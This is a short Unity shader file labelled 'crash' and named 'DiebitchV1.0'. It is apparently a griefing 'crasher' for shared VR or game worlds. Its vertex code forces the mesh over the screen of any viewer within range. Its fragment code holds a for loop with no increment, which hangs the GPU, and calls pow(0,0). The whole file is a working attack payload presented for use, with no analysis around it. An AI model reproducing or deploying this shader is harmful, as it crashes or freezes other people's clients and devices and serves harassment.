crash

Shader "Axfiles/DiebitchV1.0"
{
    Properties {
		[Space(10)]
		[Space(10)]

		_AX ("Range", Int) = 0.4

		[Space(88)]
		AX("#8888", Range(8, 8888)) = 8888.0
    }

    SubShader {
        Tags {
			"Queue"="Transparent"
			"IgnoreProjector"="True"
			"RenderType"="Transparent"
			"PreviewType"="Plane"
		}

		LOD 100
		ZWrite Off
		Cull Off
        ZTest Always
        Blend SrcAlpha OneMinusSrcAlpha

        Pass
        {
            CGPROGRAM
            #pragma vertex vert
            #pragma fragment frag
            #include "UnityCG.cginc"

            sampler2D _MainTex;
			fixed4 _MainTex_ST;
			float _Alpha, _AX;
			float4 AX;

			 struct v2f
            {
                float2 uv : TEXCOORD0;
                float4 pos : SV_POSITION;
            };

            v2f vert(float4 pos : POSITION, float2 uv : TEXCOORD0)
            {
				 v2f o;
				 o.uv = TRANSFORM_TEX(uv, _MainTex);
				 float4 dist = distance(_WorldSpaceCameraPos, mul(unity_ObjectToWorld, float4(0,0,0,1)));

				 #if UNITY_SINGLE_PASS_STEREO
				float offset = length(abs(unity_StereoWorldSpaceCameraPos[0] - unity_StereoWorldSpaceCameraPos[1]));
				float4 abspos = pos + half4((0.5-1*unity_StereoEyeIndex)*offset, 0, 0, 0);
				#else
				float4 abspos = pos;
				#endif
				abspos.z = -abspos.z;
				o.pos = mul(UNITY_MATRIX_P, abspos);
				o.pos = o.pos - o.pos*step(_AX, dist);

				return o;
            }


            float4 frag(v2f i) : SV_Target
            {
            float power;
            float power1;

                fixed4 uvnew;
				uvnew = tex2D(_MainTex, i.uv);
				for (int i = 0; i < _AX;){
				power = pow(0, 0);
				power1 = pow(0, 0);
				}
				return uvnew*float4(pow(power,power1), pow(power,power1), pow(power,power1), _Alpha);
            }
            ENDCG
        }
    }
}